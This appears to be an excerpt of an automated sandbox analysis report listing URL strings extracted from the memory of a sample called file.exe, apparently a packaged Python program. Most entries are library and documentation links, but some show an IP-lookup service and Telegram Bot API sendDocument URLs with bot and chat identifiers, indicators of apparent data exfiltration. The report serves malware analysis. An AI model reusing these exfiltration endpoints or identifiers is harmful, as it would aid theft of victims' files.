00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000001.00000002.2144027896.00000214FF282000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107151340.00000214FF280000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111278402.00000214FF281000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118182346.00000214FFB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121542767.00000214FFB9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107285500.00000214FFB8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126784648.00000214FF282000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104762804.00000214FFB8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: file.exe, 00000001.00000003.2130648026.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2136299831.00000214FFD25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: file.exe, 00000001.00000002.2147515130.00000214FFD3E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116254336.00000214FFD3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2139780645.0000021481AA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.rfc-editor.org/info/rfc7253
Source: file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tarsnap.com/scrypt/scrypt-slides.pdf
Source: file.exe, 00000001.00000003.1722215740.00000214FFC97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104230165.00000214FFC8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117528067.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107937864.00000214FFC8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2135904756.00000214FFCA3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103312630.00000214FFC7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118761418.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122249938.00000214FFC94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147341704.00000214FFCA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111847758.00000214FFC91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com
Source: file.exe, 00000001.00000002.2141864247.0000021482560000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com/
Source: file.exe, 00000001.00000002.2141864247.0000021482560000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com/0
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: file.exe, 00000001.00000002.2141476897.0000021482538000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8095725853/sendDocument
Source: file.exe, 00000001.00000002.2141249438.0000021482314000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8095725853/sendDocument?chat_id=7027613045%3AAAGX3rPO-1UHB195if6JIXakjYP
Source: file.exe, 00000001.00000002.2141249438.0000021482314000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8095725853/senddocument?chat_id=7027613045%3aaagx3rpo-1uhb195if6jixakjyp
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/botz
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.jaraco.com/skeleton
Source: file.exe, 00000001.00000002.2138569145.0000021481610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue44497.
Source: file.exe, 00000001.00000003.2137051242.00000214FF761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2134871251.00000214FF761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107105975.00000214FF741000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1715202312.00000214FF751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1713395830.00000214FF751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1714909364.00000214FF750000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2108261439.00000214FF742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1711533233.00000214FF761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110787152.00000214FF756000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117848011.00000214FF75C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107053201.00000214FF72E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111485567.00000214FF75A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1714479771.00000214FF74A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710765564.00000214FF761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104292483.00000214FF72D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717951813.00000214FF74A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1712356307.00000214FF761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109211449.00000214FF74F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1715930556.00000214FF74A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: file.exe, 00000001.00000002.2143166246.00000214FEFE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: file.exe, 00000001.00000002.2143166246.00000214FEFE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: file.exe, 00000001.00000002.2143166246.00000214FF064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: file.exe, 00000001.00000002.2143166246.00000214FEFE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: file.exe, 00000001.00000002.2143166246.00000214FF064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: file.exe, 00000001.00000002.2143166246.00000214FEFE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: file.exe, 00000001.00000002.2143166246.00000214FEFE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: file.exe, 00000001.00000002.2143166246.00000214FEFE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: file.exe, 00000001.00000002.2143783583.00000214FF25A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120800361.00000214FF259000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.metadata.html
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1718518630.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2132122047.00000214FFAD0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1720121317.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2127810264.00000214FFAC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116526106.00000214FFAC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/multiprocessing.html
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/reference/import.html#finders-and-loaders
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: file.exe, 00000001.00000002.2147814194.00000214FFE80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca
Source: file.exe, 00000001.00000003.1721954365.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104230165.00000214FFC8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107937864.00000214FFC8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103312630.00000214FFC7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111847758.00000214FFC91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Ousret/charset_normalizer
Source: file.exe, 00000001.00000002.2142886417.00000214FEAD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106756868.00000214FEA98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118042942.00000214FEACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109007109.00000214FEAC6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128059773.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2143783583.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128304849.00000214FEACF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126900082.00000214FF249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/astral-sh/ruff
Source: file.exe, file.exe, 00000001.00000002.2153038343.00007FFE0C0C2000.00000002.00000001.01000000.0000002C.sdmp, file.exe, 00000001.00000002.2153238930.00007FFE0CFAF000.00000002.00000001.01000000.0000002B.sdmp	String found in binary or memory: https://github.com/mhammond/pywin32
Source: file.exe, 00000001.00000002.2138437431.0000021481510000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/platformdirs/platformdirs
Source: file.exe, 00000000.00000003.1697117929.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md
Source: file.exe, 00000001.00000002.2147814194.00000214FFE80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/packaging
Source: file.exe, 00000001.00000002.2138569145.0000021481610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/1024.
Source: file.exe, 00000001.00000002.2138569145.0000021481610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/417#issuecomment-392298401
Source: file.exe, 00000001.00000002.2138437431.0000021481510000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/new?template=distutils-deprecation.yml
Source: file.exe, 00000001.00000002.2138437431.0000021481510000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/new?template=distutils-deprecation.yml0
Source: file.exe, 00000000.00000003.1697117929.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/wheel
Source: file.exe, 00000000.00000003.1697117929.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/wheel/issues
Source: file.exe, 00000001.00000002.2143166246.00000214FF064000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: file.exe, 00000001.00000003.2126900082.00000214FF249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: file.exe, 00000001.00000002.2142886417.00000214FEAD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106756868.00000214FEA98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118042942.00000214FEACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109007109.00000214FEAC6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128059773.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2143783583.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128304849.00000214FEACF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126900082.00000214FF249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: file.exe, 00000001.00000003.1715930556.00000214FF648000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104354364.00000214FF67F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105284932.00000214FF709000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105155606.00000214FF68F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107596886.00000214FF70D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1715063817.00000214FF6FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1714479771.00000214FF6FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118404849.00000214FF70F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1712550325.00000214FF5E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104432399.00000214FF683000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1713395830.00000214FF6FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1712550325.00000214FF589000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1719024425.00000214FF637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svg
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/actions?query=workflow%3A%22tests%22
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/issues
Source: file.exe, 00000001.00000002.2147630243.00000214FFD80000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1714479771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/wiki/Development-Methodology
Source: file.exe, 00000001.00000002.2142886417.00000214FEAD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106756868.00000214FEA98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118042942.00000214FEACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109007109.00000214FEAC6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128059773.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2143783583.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128304849.00000214FEACF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126900082.00000214FF249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2145807414.00000214FF9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122323104.00000214FF9BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/29200
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: file.exe, 00000001.00000003.1721954365.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146954612.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117773640.00000214FF9A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721247684.00000214FFB8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104762804.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2113497364.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116867283.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118182346.00000214FFB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2125420814.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121542767.00000214FFB9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107285500.00000214FFB8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104762804.00000214FFB8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: file.exe, 00000001.00000003.1721954365.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146954612.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117773640.00000214FF9A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104762804.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2113497364.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116867283.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2125420814.00000214FFC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: file.exe, 00000001.00000003.2116526106.00000214FFAC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2119466215.00000214FF9C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: file.exe, 00000001.00000003.2104762804.00000214FFB8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: file.exe, 00000001.00000003.2130839175.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2123530256.00000214FF637000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2137480353.00000214FFB6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146114251.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105574677.00000214FF5CA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146673781.00000214FFB72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2137845154.00000214FFB71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118227425.00000214FFB61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110578380.00000214FFB4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121594121.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121798487.00000214FFBB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111364823.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107513071.00000214FF614000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109613829.00000214FF630000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126122145.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: file.exe, 00000001.00000003.2136050933.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117277157.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1720121317.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146285438.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116526106.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/post
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/badge/skeleton-2024-informational
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/charliermarsh/ruff/main/assets
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/pyversions/importlib_metadata.svg
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/v/importlib_metadata.svg
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://importlib-metadata.readthedocs.io/
Source: file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://importlib-metadata.readthedocs.io/en/latest/?badge=latest
Source: file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1718518630.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105574677.00000214FF5CA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2124377657.00000214FF5A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110504738.00000214FF72E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117773640.00000214FF9A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721247684.00000214FFB8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110277873.00000214FFBDB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717288320.00000214FFBD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107053201.00000214FF72E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107513071.00000214FF614000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2136925482.00000214FF5AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109613829.00000214FF630000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107003138.00000214FF60E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1720121317.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2108710356.00000214FF72E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104292483.00000214FF72D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 